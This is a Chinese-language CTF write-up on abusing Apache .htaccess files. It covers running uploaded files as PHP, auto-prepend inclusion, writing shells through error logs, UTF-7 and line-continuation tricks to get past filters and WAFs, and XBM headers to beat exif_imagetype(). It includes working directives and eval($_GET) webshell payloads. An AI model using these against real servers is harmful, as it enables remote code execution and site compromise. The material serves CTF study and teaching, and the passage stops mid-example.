.htaccess在CTF Web中還是很常見的,今天又做到一道很有意思的題,下定決心總結一波
一、什么是.htaccess
參考Apache HTTP Server Tutorial: .htaccess files
.htaccess文件(或“分布式配置文件”)提供了一種基於每個目錄進行配置更改的方法。包含一個或多個配置指令的文件放置在特定的文檔目錄中,這些指令適用於該目錄及其所有子目錄。
如果開啟.htaccess,可以在所在文件夾和子文件下改變php.ini的配置。對於黑客來說,如果能控制.htaccess,就可以完成繞WAF、文件包含、文件上傳等操作
二、利用條件
首先目標主機必須開啟.htaccess,配置在apache2.conf中,這里是部分配置
# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride ALL # 默認應該是None,ALL表示/var/www/下所有文件接受.htaccess的重寫
Require all granted
</Directory>
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess # 分布式配置文件也不一定叫.htaccess,可以在這里自己設置
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
Require all denied # 防止.htaccess和.htpasswd被Web用戶看到
</FilesMatch>
三、利用方式 && tricks
1、將指定后綴名的文件當做php解析
AddType text/example ".exm"
AddType application/x-httpd-php .cc
上例將后綴名為.exm
的文件當做text解析,將.cc
文件當做php來解析
AddHandler php7-script .txt
用途:文件上傳時繞過黑名單校驗,不過現在一般不會單獨考這個
如果開啟了cgi擴展,也可以來解析shell腳本
.htaccess
Options +ExecCGI
AddHandler cgi-script .sh
solve.sh
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
ls -lah /
exit 0
2、php_value利用php中的配置
(1)自動包含文件
php_value auto_prepend_file xxx.php
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
使作用范圍內的php文件在文件頭/尾自動include指定文件,支持php偽協議
php_value include_path "xxx"
如果當前目錄無法寫文件,也可以改變包含文件的路徑,去包含別的路徑的文件
用途:文件包含,可以配合AddType
例題:刷題記錄:[SUCTF 2019]EasyWeb(EasyPHP)
(2)利用報錯信息寫文件
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
開啟報錯的同時將報錯信息寫入文件
用途:利用報錯寫shell
例題:刷題記錄:[XNUCA2019Qualifier]EasyPHP
(3)UTF-7編碼繞過尖括號<過濾
php_value zend.multibyte 1 # 啟用多字節編碼的源文件解析
php_value zend.script_encoding "UTF-7"
將代碼的解析方式改成UTF-7
mb_convert_encoding('<?php eval($_GET[\'cmd\']); ?>',"utf-7");
payload樣例:
+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs
例題:l33t-hoster
(4)prce繞過正則匹配
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
if(preg_match("/[^a-z\.]/", $filename) == 1)
而不是if(preg_match("/[^a-z\.]/", $filename) !== 0)
,因此可以通過php_value 設置正則回朔次數來使正則匹配的結果返回為false而不是0或1,默認的回朔次數比較大,可以設成0,那么當超過此次數以后將返回false
3、tricks
(1)\
換行繞過臟字符&&繞WAF
.htaccess似乎可以像shell那樣使用\
將兩行內容解釋為一行
- 繞過臟字符
如果.htaccess文件中有不符合語法的內容,訪問服務器會直接報500,如果題目中亂寫.htaccess文件,我們可以嘗試換行注釋掉臟字符
例如:題目中有file_put_contents($filename, $content . "\nJust one chance")
,我們payload最后可以加上#\
,#
負責注釋,\
將注釋符和臟字符連成一行,注釋掉臟字符,最后的文件為
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
Just one chance
- 繞過WAF
如果題目過濾了'file',可以這么寫.htaccess
php_value auto_prepend_fi\
le ".htaccess"
#<?php eval($_GET[a]);?>\
(2)繞過exif_imagetype()
上傳.htaccess
#define width 20
#define height 10
采用xbm格式X Bit Map,繞過exif_imagetype()方法的檢測,上傳文件來解析。
在計算機圖形學中,X Window系統使用X BitMap,一種純文本二進制圖像格式,用於存儲X GUI中使用的光標和圖標位圖。
XBM數據由一系列包含單色像素數據的靜態無符號字符數組組成,當格式被普遍使用時,XBM通常出現在標題.h文件中,每個圖像在標題中存儲一個數組。
也就是用c代碼來標識一個xbm文件,前兩個#defines指定位圖的高度和寬度【以像素為單位,比如以下xbm文件:
#define test_width 16
#define test_height 7